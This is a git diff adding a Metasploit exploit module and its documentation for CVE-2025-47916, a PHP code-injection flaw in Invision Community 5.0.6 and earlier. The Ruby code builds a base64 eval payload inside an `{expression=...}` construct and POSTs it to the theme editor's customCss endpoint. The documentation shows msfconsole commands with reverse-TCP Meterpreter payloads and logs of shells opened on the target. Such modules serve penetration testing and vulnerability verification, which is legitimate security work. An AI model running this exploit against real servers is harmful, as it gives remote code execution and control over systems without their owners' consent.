diff --git a/documentation/modules/exploit/multi/http/invision_customcss_rce.md b/documentation/modules/exploit/multi/http/invision_customcss_rce.md new file mode 100644 index 0000000000000..4956b79186d8b --- /dev/null +++ b/documentation/modules/exploit/multi/http/invision_customcss_rce.md @@ -0,0 +1,134 @@ +## Vulnerable Application + +This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint: + +* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter. + +### To replicate a vulnerable environment + +1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application): + +```bash +wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip +mkdir ips_5.0.6_lab_dir +unzip ips_5.0.6_lab.zip -d ips_5.0.6_lab_dir +cd ips_5.0.6_lab_dir +``` + +2. **Bring up the stack**: + +```bash +docker-compose up -d +``` + +3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777). + + * You do **not** need a valid license key; you can enter any text and proceed. + * Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`. + +## Verification Steps + +1. **Check the installed version**: + +```bash +curl -s http://localhost:7777/admin/install/eula.txt | head -n5 +``` + +Expected output: + +``` +=============================[NOTE]============================= + Buy license at https://invisioncommunity.com/buy/self-hosted/ +================================================================ + IPS 5.0.6 (5000074) +=============================[NOTE]============================= +``` + +2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable: + +```bash +use exploit/multi/http/invision_customcss_rce +set RHOSTS 127.0.0.1 +set TARGETURI / +check +``` + +## Options + +No option + +## Scenarios + +### PHP Meterpreter (in-memory) + +```bash +use exploit/multi/http/invision_customcss_rce +set TARGET 0 +set RHOSTS 127.0.0.1 +set TARGETURI / +set PAYLOAD php/meterpreter/reverse_tcp +set LHOST 192.168.1.10 +set LPORT 4444 +run +``` + +### Command Shell (ARCH_CMD) + +```bash +use exploit/multi/http/invision_customcss_rce +set TARGET 1 +set RHOSTS 127.0.0.1 +set TARGETURI / +set payload cmd/linux/http/x64/meterpreter_reverse_tcp +set LHOST 192.168.1.10 +set LPORT 4444 +run +``` + +## Expected Results + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777 +[*] Exploiting target 127.0.0.1 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected IPS version: 5.0.6 +[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6) +[*] Sending exploit to 127.0.0.1:7777 ... +[*] Sending stage (40004 bytes) to 172.30.0.3 +[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200 +[*] Session 9 created in the background. +msf6 exploit(multi/http/invision_customcss_rce) > sessions 9 +[*] Starting interaction with 9... + +meterpreter > sysinfo +Computer : 01ed59644450 +OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter_reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777 +[*] Exploiting target 127.0.0.1 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected IPS version: 5.0.6 +[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6) +[*] Sending exploit to 127.0.0.1:7777 ... +[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200 +[*] Session 7 created in the background. +msf6 exploit(multi/http/invision_customcss_rce) > sessions 7 +[*] Starting interaction with 7... + +meterpreter > sysinfo +Computer : 172.30.0.3 +OS : Debian 12.10 (Linux 6.14.6-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/multi/http/invision_customcss_rce.rb b/modules/exploits/multi/http/invision_customcss_rce.rb new file mode 100644 index 0000000000000..53bb6264f5a23 --- /dev/null +++ b/modules/exploits/multi/http/invision_customcss_rce.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Payload::Php + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Invision Community 5.0.6 customCss RCE', + 'Description' => %q{ + Invision Community up to and including version 5.0.6 contains a remote code + execution vulnerability in the theme editor's customCss endpoint. By crafting + a specially formatted `content` parameter with a `{expression="…"}` + construct, arbitrary PHP can be evaluated. This module leverages that flaw + to execute payloads or system commands as the webserver user. + }, + 'Author' => [ + 'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC + 'Valentin Lobstein' # Metasploit module + ], + 'References' => [ + ['CVE', '2025-47916'], + ['URL', 'https://karmainsecurity.com/KIS-2025-02'], + ['URL', 'https://invisioncommunity.com'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[php unix linux win], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt') + res = send_request_cgi('uri' => path, 'method' => 'GET') + unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) / + return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA') + end + + version = Rex::Version.new(Regexp.last_match(1)) + print_status("Detected IPS version: #{version}") + + if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6')) + CheckCode::Appears("IPS version #{version} is vulnerable (≤ 5.0.6)") + else + CheckCode::Safe("IPS version #{version} is not vulnerable") + end + end + + # I'll remove this method when PR #20160 is merged. I'm aware of it, thanks + def php_exec_cmd(encoded_payload) + vars = Rex::RandomIdentifier::Generator.new + dis = '$' + vars[:dis] + encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) + shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} + $c = base64_decode("#{encoded_clean_payload}"); + #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} + END_OF_PHP_CODE + return shell + end + + def exploit + raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) + b64 = Rex::Text.encode_base64(raw) + + expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}" + post_data = { + 'app' => 'core', + 'module' => 'system', + 'controller' => 'themeeditor', + 'do' => 'customCss', + 'content' => expr + } + + print_status("Sending exploit to #{rhost}:#{rport} ...") + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => post_data + ) + end +end